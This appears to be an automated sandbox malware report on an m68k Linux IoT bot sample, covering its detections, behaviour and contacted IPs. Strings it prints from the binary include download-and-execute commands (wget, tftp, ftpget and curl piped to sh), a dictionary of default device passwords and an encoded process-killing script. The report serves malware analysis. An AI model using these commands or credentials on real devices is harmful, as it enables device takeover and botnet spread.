Linux Analysis Report
la.bot.m68k.elf

Overview

General Information

Sample name: la.bot.m68k.elf
Analysis ID: 1541745
MD5: 2099da95c3379881bcc9514c04485063
SHA1: 51fb4333d537ad5aa7133239855053b008c8b627
SHA256: b26e735be27ea2bbbf8597292a6560dacd554c37c3899b2d3548008a71746a58
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.m68k.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.m68k.elf ReversingLabs: Detection: 28%
Source: la.bot.m68k.elf Virustotal: Detection: 32% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.m68k.elf String: N^Nu/proc/ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppd
Source: la.bot.m68k.elf String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.m68k.elf (PID: 5429) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 136.107.75.40
Source: unknown TCP traffic detected without corresponding DNS query: 136.107.75.40
Source: unknown TCP traffic detected without corresponding DNS query: 38.198.180.43
Source: unknown TCP traffic detected without corresponding DNS query: 163.55.94.191
Source: unknown TCP traffic detected without corresponding DNS query: 38.198.180.43
Source: unknown TCP traffic detected without corresponding DNS query: 96.195.181.117
Source: unknown TCP traffic detected without corresponding DNS query: 163.55.94.191
Source: unknown TCP traffic detected without corresponding DNS query: 19.117.137.42
Source: unknown TCP traffic detected without corresponding DNS query: 96.195.181.117
Source: unknown TCP traffic detected without corresponding DNS query: 19.117.137.42
Source: unknown TCP traffic detected without corresponding DNS query: 3.92.3.102
Source: unknown TCP traffic detected without corresponding DNS query: 114.147.156.15
Source: unknown TCP traffic detected without corresponding DNS query: 3.92.3.102
Source: unknown TCP traffic detected without corresponding DNS query: 18.107.251.128
Source: unknown TCP traffic detected without corresponding DNS query: 114.147.156.15
Source: unknown TCP traffic detected without corresponding DNS query: 148.17.111.241
Source: unknown TCP traffic detected without corresponding DNS query: 18.107.251.128
Source: unknown TCP traffic detected without corresponding DNS query: 29.83.93.139
Source: unknown TCP traffic detected without corresponding DNS query: 148.17.111.241
Source: unknown TCP traffic detected without corresponding DNS query: 53.119.253.155
Source: unknown TCP traffic detected without corresponding DNS query: 29.83.93.139
Source: unknown TCP traffic detected without corresponding DNS query: 60.170.168.160
Source: unknown TCP traffic detected without corresponding DNS query: 53.143.137.94
Source: unknown TCP traffic detected without corresponding DNS query: 53.119.253.155
Source: unknown TCP traffic detected without corresponding DNS query: 68.98.177.39
Source: unknown TCP traffic detected without corresponding DNS query: 60.170.168.160
Source: unknown TCP traffic detected without corresponding DNS query: 53.143.137.94
Source: unknown TCP traffic detected without corresponding DNS query: 153.55.230.246
Source: unknown TCP traffic detected without corresponding DNS query: 68.98.177.39
Source: unknown TCP traffic detected without corresponding DNS query: 168.143.133.227
Source: unknown TCP traffic detected without corresponding DNS query: 153.55.230.246
Source: unknown TCP traffic detected without corresponding DNS query: 99.189.113.105
Source: unknown TCP traffic detected without corresponding DNS query: 168.143.133.227
Source: unknown TCP traffic detected without corresponding DNS query: 99.189.113.105
Source: unknown TCP traffic detected without corresponding DNS query: 75.239.3.158
Source: unknown TCP traffic detected without corresponding DNS query: 195.165.164.107
Source: unknown TCP traffic detected without corresponding DNS query: 12.113.14.127
Source: unknown TCP traffic detected without corresponding DNS query: 75.239.3.158
Source: unknown TCP traffic detected without corresponding DNS query: 195.165.164.107
Source: unknown TCP traffic detected without corresponding DNS query: 87.147.20.224
Source: unknown TCP traffic detected without corresponding DNS query: 12.113.14.127
Source: unknown TCP traffic detected without corresponding DNS query: 43.255.19.183
Source: unknown TCP traffic detected without corresponding DNS query: 150.2.115.6
Source: unknown TCP traffic detected without corresponding DNS query: 87.147.20.224
Source: unknown TCP traffic detected without corresponding DNS query: 143.24.253.137
Source: unknown TCP traffic detected without corresponding DNS query: 43.255.19.183
Source: unknown TCP traffic detected without corresponding DNS query: 105.211.205.180
Source: unknown TCP traffic detected without corresponding DNS query: 150.2.115.6
Source: unknown TCP traffic detected without corresponding DNS query: 150.6.158.227
Source: unknown TCP traffic detected without corresponding DNS query: 143.24.253.137
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.m68k.elf String found in binary or memory: http:///curl.sh
Source: la.bot.m68k.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//et
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.m68k.elf (PID: 5431) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.linELF@0/0@2/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5431) File opened: /proc/267/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.m68k.elf (PID: 5429) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.m68k.elf, 5429.1.00007fff3d0c8000.00007fff3d0e9000.rw-.sdmp Binary or memory string: p#x86_64/usr/bin/qemu-m68k/tmp/la.bot.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.m68k.elf
Source: la.bot.m68k.elf, 5429.1.00007fff3d0c8000.00007fff3d0e9000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: la.bot.m68k.elf, 5429.1.000056087cc5c000.000056087cce1000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 5429.1.000056087cc5c000.000056087cce1000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/m68k
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
11.117.173.154
 unknown United States
27651 ENTELCHILESACL false
145.194.101.12
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
157.190.239.45
 unknown Ireland
1213 HEANETIE false
45.125.244.30
 unknown India
204287 HOSTROYALE_TECHNOLOGIESPT false
203.160.1.104
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
117.5.231.143
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
192.26.21.180
 unknown United States
10355 DSCGAUS false
209.57.18.155
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
208.84.255.159
 unknown United States
26076 INFINITECOMUS false
2.248.11.220
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
101.44.32.61
 unknown China
131536 SHGWBNNETShanghaiGreatWallBroadbandNetworkServiceCo false
123.175.30.102
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
5.242.145.210
 unknown Sweden
1257 TELE2EU false
167.191.248.44
 unknown United States
18880 LAMRCUS false
137.252.40.90
 unknown United States
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
164.176.143.160
 unknown United States
37717 EL-KhawarizmiTN false
217.125.236.240
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
5.114.219.37
 unknown Iran (ISLAMIC Republic Of)
44244 IRANCELL-ASIR false
53.125.241.80
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
160.10.63.226
 unknown United States
3479 PEACHNET-AS1US false
198.120.178.115
 unknown United States
297 AS297US false
88.149.14.202
 unknown Iceland
12969 VODAFONE_ICELANDIS false
144.193.42.192
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
20.143.63.217
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
173.117.25.113
 unknown United States
10507 SPCSUS false
181.100.1.237
 unknown Argentina
7303 TelecomArgentinaSAAR false
104.168.36.51
 unknown United States
36352 AS-COLOCROSSINGUS false
132.216.215.49
 unknown Canada
15318 MCGILL-ASCA false
78.176.83.60
 unknown Turkey
9121 TTNETTR false
3.212.223.170
 unknown United States
14618 AMAZON-AESUS false
194.238.63.42
 unknown United Kingdom
5503 RMIFLGB false
223.118.129.120
 unknown Hong Kong
58453 CMI-INT-HKLevel30Tower1HK false
119.24.94.158
 unknown Japan 9617 ZAQJupiterTelecommunicationsCoLtdJP false
46.213.30.145
 unknown Syrian Arab Republic
29256 INT-PDN-STE-ASSTEPDNInternalASSY false
13.184.201.102
 unknown United States
7018 ATT-INTERNET4US false
101.196.58.26
 unknown China
58519 CHINATELECOM-CTCLOUDCloudComputingCorporationCN false
184.55.252.180
 unknown United States
10796 TWC-10796-MIDWESTUS false
35.21.100.188
 unknown United States
36375 UMICH-AS-5US false
203.36.241.236
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
184.73.48.62
 unknown United States
14618 AMAZON-AESUS false
175.147.57.32
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
87.234.76.76
 unknown Germany
20676 PLUSNETDE false
140.41.207.22
 unknown United States
668 DNIC-AS-00668US false
35.46.225.50
 unknown United States
36375 UMICH-AS-5US false
159.211.172.51
 unknown Japan 131090 CAT-IDC-4BYTENET-AS-APCATTELECOMPublicCompanyLtdCATT false
219.191.52.113
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
50.6.54.191
 unknown United States
46606 UNIFIEDLAYER-AS-1US false
56.253.28.64
 unknown United States
2686 ATGS-MMD-ASUS false
5.158.219.81
 unknown Spain
199143 INDALECCIUSES false
79.101.206.37
 unknown Serbia
8400 TELEKOM-ASRS false
156.169.19.114
 unknown Egypt
36992 ETISALAT-MISREG false
105.120.247.43
 unknown Nigeria
36873 VNL1-ASNG false
54.104.79.46
 unknown United States
16509 AMAZON-02US false
140.238.246.224
 unknown United States
31898 ORACLE-BMC-31898US false
104.55.243.182
 unknown United States
7018 ATT-INTERNET4US false
75.232.200.125
 unknown United States
22394 CELLCOUS false
138.215.166.60
 unknown Sweden
3246 TDCSONGTele2BusinessTDCSwedenSE false
220.47.7.24
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
105.58.228.14
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
20.159.149.145
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
170.54.215.114
 unknown United States
32261 SUBSPACEUS false
23.184.33.105
 unknown Reserved
394656 CPA-AS1US false
29.7.74.216
 unknown United States
7922 COMCAST-7922US false
125.153.35.47
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
51.74.238.176
 unknown United States
2686 ATGS-MMD-ASUS false
88.22.40.166
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
1.216.137.48
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
67.21.129.48
 unknown United States
36825 ASN-PNPUS false
87.237.92.145
 unknown Germany
8549 AISEU-ASDE false
156.169.137.52
 unknown Egypt
36992 ETISALAT-MISREG false
63.53.145.36
 unknown United States
701 UUNETUS false
170.37.13.171
 unknown United States
264957 CoopercitrusCooperativadeProdutoresRuraisBR false
186.66.18.13
 unknown Ecuador
14522 SatnetEC false
68.137.98.218
 unknown United States
23148 TERRENAPUS false
197.85.183.248
 unknown South Africa
10474 OPTINETZA false
159.190.208.31
 unknown Sweden
21195 DGCSYSTEMSStockholmSwedenSE false
23.10.190.40
 unknown United States
4750 CSLOXINFO-AS-APCSLOXINFOPUBLICCOMPANYLIMITEDTH false
96.168.41.23
 unknown United States
7922 COMCAST-7922US false
111.229.197.182
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
68.60.185.52
 unknown United States
7922 COMCAST-7922US false
56.17.58.239
 unknown United States
2686 ATGS-MMD-ASUS false
176.185.157.32
 unknown France
5410 BOUYGTEL-ISPFR false
160.68.183.254
 unknown Norway
21293 ASN-NRKNRKAutonomousSystemNO false
118.205.116.99
 unknown China
9506 SINGTEL-FIBRESingtelFibreBroadbandSG false
91.129.197.229
 unknown Austria
1257 TELE2EU false
165.156.169.66
 unknown United States
203 CENTURYLINK-LEGACY-LVLT-203US false
124.37.232.74
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
24.233.26.195
 unknown United States
134121 RAINBOW-HKRainbownetworklimitedHK false
144.87.62.178
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
55.118.19.251
 unknown United States
361 DNIC-ASBLK-00306-00371US false
8.90.46.131
 unknown United States
3356 LEVEL3US false
159.145.116.178
 unknown United States
1226 CTA-42-AS1226US false
31.75.85.119
 unknown United Kingdom
12576 EELtdGB false
44.101.168.179
